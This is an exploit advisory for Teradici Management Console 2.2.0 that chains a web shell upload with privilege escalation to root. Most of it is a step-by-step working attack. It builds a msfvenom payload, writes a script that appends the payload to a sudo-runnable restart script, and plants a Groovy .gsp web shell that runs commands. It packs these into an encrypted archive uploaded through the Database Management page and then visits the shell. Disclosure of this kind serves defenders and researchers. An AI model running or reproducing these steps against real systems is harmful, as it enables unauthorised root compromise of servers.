Teradici Management Console 2.2.0 Shell Upload / Privilege Escalation

Teradici Management Console version 2.2.0 suffers from privilege escalation and remote shell upload vulnerabilities.


MD5 | cec207ea48f379a2e75b38decd19e601

# Exploit Title: Teradici Management Console 2.2.0 - Web Shell Upload and
Privilege Escalation
# Date: February 22nd, 2017
# Exploit Author: hantwister
# Vendor Homepage:
http://www.teradici.com/products-and-solutions/pcoip-products/management-console
# Software Link:
https://techsupport.teradici.com/ics/support/DLRedirect.asp?fileID=63583
(login required)
# Version: 2.2.0


Users that can access the Settings > Database Management page can achieve
code execution as root on older versions of PCoIP MC 2.x. (Based on CentOS
7 x64)


Web Shell Upload Vulnerability Overview
---------------------------------------

Database archives are extracted under /opt/jetty/tmpdeploy. By creating a
malicious archive with a malicious web script that extracts to the known
directory /opt/jetty/tmpdeploy/jetty-0.0.0.0-8080-console.war-_console-any-
it is possible to add or modify class files and XML files pertaining to the
application.


Privilege Escalation Vulnerability Overview
-------------------------------------------

The jetty user owns the file /opt/jetty/jetty_self_restart.sh, and the same
user has sudo rights to run that file without a password. By manipulating
this file, arbitrary code can be run as root.


Exploiting The Vulnerabilities
------------------------------

alice:~$ mkdir -p
runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
alice:~$ cd runasroot
alice:~/runasroot$ msfvenom (snip) > evil
alice:~/runasroot$ chmod a+x evil
alice:~/runasroot$ nano modify_self_restart.sh

#!/bin/bash
echo /tmp/evil >> /opt/jetty/jetty_self_restart.sh

alice:~/runasroot$ chmod a+x modify_self_restart.sh
alice:~/runasroot$ cd
jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$
nano runasroot.gsp

<html>
<head>
<title>runasroot</title>
</head>
<body>
<pre>
<% out << "cp /opt/jetty/tmpdeploy/evil /tmp/".execute().text %>
<% out << "/opt/jetty/tmpdeploy/modify_self_restart.sh".execute().text %>
<% out << "sudo /opt/jetty/jetty_self_restart.sh".execute().text %>
</pre>
</body>
</html>

alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$
cd ../../..
alice:~/runasroot$ tar -zcf runasroot.tar.gz evil modify_self_restart.sh
jetty-0.0.0.0-8080-console.war-_console-any-
alice:~/runasroot$ openssl enc -e -aes-256-cbc -salt -in runasroot.tar.gz
-out runasroot.archive -pass pass:4400Dominion -p

Now, choose to upload runasroot.archive through the Database Management
page. An error will be displayed that it wasn't a valid archive. Now,
navigate to
https://IP/console/images/runasroot.gsp



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